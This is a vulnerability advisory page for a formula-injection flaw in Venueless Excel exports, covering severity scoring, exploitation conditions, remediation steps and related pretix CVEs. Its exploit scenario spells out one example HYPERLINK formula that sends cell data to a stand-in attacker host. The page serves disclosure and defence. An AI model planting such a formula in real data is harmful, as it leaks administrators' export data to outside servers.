Skip to main content

Venueless CVE-2026-12862

| EUVDEUVD-2026-38220 MEDIUM
Improper Neutralization of Input Leaders (CWE-148)
2026-06-22 rami.io
5.1
CVSS 4.0 · Vendor: rami.io
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Register low-privilege Venueless account
  2. Delivery
    Submit formula payload in user data field
  3. Exploit
    Admin triggers Excel data export
  4. Execution
    Admin opens exported spreadsheet file
  5. Persist
    Spreadsheet engine evaluates injected formula
  6. Impact
    Exfiltrate data or execute attacker-defined action

Vulnerability Assessment

Weakness
CWE
Exploitation Conditions

Exploitation requires the attacker to hold a low-privilege authenticated account on the Venueless instance sufficient to submit data that is included in administrator-generated Excel exports (PR:L per CVSS vector). An administrator must then independently trigger an export of that data and open the resulting Excel file in spreadsheet software that evaluates formulas on load (UI:P per CVSS vector). Exploitation is limited by the requirement for administrator action - no automated or scheduled export pipeline that skips human file-opening would be vulnerable without additional user interaction. Non-default Excel security settings that block external data connections or prompt before evaluating formulas would further degrade attacker capability post-delivery. There is no indication that a default-locked-down Venueless configuration prevents untrusted users from submitting data that appears in exports.

Impact

The CVSS 4.0 score of 5.1 (Medium) is consistent with the constrained impact profile: the attack requires a low-privilege user account (PR:L) and passive administrator interaction (UI:P - the admin must export and open the file), and the direct integrity impact on the vulnerable system is rated Low (VI:L) with no confidentiality or availability impact. The subsequent-system confidentiality impact is rated None (SC:N) in the provided vector, though real-world formula injection can leak spreadsheet cell data to external servers, making SC:N a conservative assessment worth verifying against the actual advisory. No EPSS score was provided in the input data, and no KEV listing exists, reducing urgency for emergency patching. However, because the attack targets an administrative function - Excel exports used by privileged users - the realistic blast radius is the admin's workstation environment and potentially sensitive data visible in the export. The threat is not fully automated (UI:P prevents zero-click exploitation), but administrative users routinely open generated reports without scrutiny, making this a practical risk in deployments where untrusted parties can register accounts. No conflicting signals were identified between the CVSS vector and the description.

Exploit ScenarioDerived

An attacker registers a low-privilege account on a Venueless instance and enters a crafted formula string such as =HYPERLINK("http://attacker.example/exfil?d="&ENCODEURL(A2),"click") into a user profile or event submission field. When a Venueless administrator later generates an Excel export of participant data and opens the file in Microsoft Excel, the formula is automatically evaluated, silently transmitting cell contents to the attacker's server. No public exploit code has been identified at time of analysis, but the technique is well-documented and trivially reproducible by any attacker familiar with spreadsheet formula injection.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 22, 2026

Formula injection in Venueless Excel exports allows an attacker with a low-privilege account to embed malicious spreadsheet formulas into user-supplied data fields, which execute when an administrator opens the generated export file. Affected deployments include all versions of Venueless (pretix) as indicated by the wildcard CPE entry. No public exploit has been identified at time of analysis, and no CISA KEV listing is present, but the low attack complexity and the availability of a GitHub security advisory signal a credible, reproducible attack path against administrative workflows.

RemediationAI

Consult the vendor security advisory at https://github.com/venueless/venueless/security/advisories/GHSA-5hw3-655h-7m86 for the patched release version and upgrade instructions; no specific fixed version was confirmed in the data available at time of analysis. As a compensating control prior to patching, administrators should avoid opening Excel exports generated from instances where untrusted users can submit arbitrary data, or should open such files in a sandboxed environment with external network access disabled to prevent formula-triggered data exfiltration. Disabling DDE and blocking external data connections in Excel via organizational Group Policy or Trust Center settings reduces the potential severity of any formula execution. These controls do not eliminate the injection itself and carry the trade-off of reduced spreadsheet functionality for legitimate use cases. If the platform allows restricting which data fields are included in exports, excluding free-text user-controlled fields is a partial mitigation.

Affected VersionsENISA

Venueless 0.0.0 <0a35457f

Affected Packages

euvd venueless fix: 0a35457f

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Venueless is an open-source virtual event platform maintained by pretix, identified via CPE cpe:2.3:a:pretix:venueless:*:*:*:*:*:*:*:*. The vulnerability resides in the server-side Excel export functionality, which serializes untrusted user-submitted data directly into spreadsheet cells without sanitizing formula-triggering prefix characters (=, +, -, @, tab, carriage return). When the resulting .xlsx file is opened in spreadsheet software such as Microsoft Excel or LibreOffice Calc, the embedded formulas are evaluated by the client-side spreadsheet engine, potentially making outbound network requests to attacker-controlled servers or, in permissive configurations, executing DDE/shell commands. The assigned CWE is CWE-148 (Improper Neutralization of Input Leaders), though CWE-1236 (Improper Neutralization of Formula Elements in a CSV/spreadsheet File) is the more precise classification for this class of injection - the discrepancy is worth noting when cross-referencing NVD entries. The root cause is the absence of output encoding or cell-content prefixing (e.g., prepending a literal apostrophe to force string interpretation) before writing data to Excel cells.

Know when Pretix gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (rami.io) PRIMARY 5.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:N/SI:L/SA:N
vuln.today AI 5.4 MEDIUM

Network-delivered via web app, low complexity; PR:L for required account; UI:R for admin file open; S:C for formula execution in admin's spreadsheet environment; C:L for potential cell-data exfiltration.

3.1 AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:L/UI:P/VC:N/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (rami.io).

CVSS VectorVendor: rami.io

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
Low
Vulnerable system: Availability
None
Subsequent system: Confidentiality
None
Subsequent system: Integrity
Low
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jun 22, 2026 - 11:16 EUVD

DescriptionCVE.org

Untrusted user data was passed verbatim to Excel exports for administrators. This allowed formula injection which can be used to compromise the environment of the user loading the file or other data in the file.

Threat Intelligence Overview

EPSS Score
0.2%
Top 87% exploitable
Prevalence
Low
Niche virtual event platform, limited production deployments
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.2%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

26
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +26
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Code Injection CRITICAL

Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.

More in Pretix

View all
CVE-2024-27447 CRITICAL
9.8 Feb 26

pretix before 2024.1.1 mishandles file validation. Rated critical severity (CVSS 9.8), this vulnerability is remotely ex

CVE-2026-13603 CRITICAL
9.0 Jul 01

Server-side URL manipulation in the pretix-oppwa payment plugin (fixed in pretix 2026.5.3) lets a remote attacker exfilt

CVE-2026-57532 HIGH
8.8 Jun 25

Stored cross-site scripting in Pretix's PDF ticket and badge layout editor allows one backend user to inject JavaScript

CVE-2023-44464 HIGH
7.8 Sep 29

pretix before 2023.7.2 allows Pillow to parse EPS files. Rated high severity (CVSS 7.8), this vulnerability is no authen

CVE-2026-13602 HIGH
7.7 Jul 01

Privilege escalation to full account takeover in pretix (open-source event ticketing) and its payment integration plugin

CVE-2023-27891 HIGH
7.5 Mar 06

rami.io pretix before 4.17.1 allows OAuth application authorization from a logged-out session. Rated high severity (CVSS

CVE-2026-4982 HIGH
7.3 Mar 27

Venueless instances allow authenticated users with 'update world' permissions to exfiltrate chat messages from direct me

CVE-2026-5599 HIGH
7.3 Apr 05

Cross-world user deletion in venueless allows authenticated API users with 'manage users' permission in one world to del

CVE-2024-8113 HIGH
7.2 Aug 23

Stored XSS in organizer and event settings of pretix up to 2024.7.0 allows malicious event organizers to inject HTML tag

CVE-2026-2451 MEDIUM
6.5 Feb 16

Information disclosure in Pretix email template processing allows authenticated backend users to extract sensitive syste

CVE-2026-2452 MEDIUM
6.5 Feb 16

Information disclosure in Pretix email template processing allows authenticated backend users to extract sensitive syste

CVE-2026-57536 MEDIUM
6.3 Jun 25

Payment status replay in pretix-mollie allows unauthenticated attackers to obtain multiple valid event tickets by reusin

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy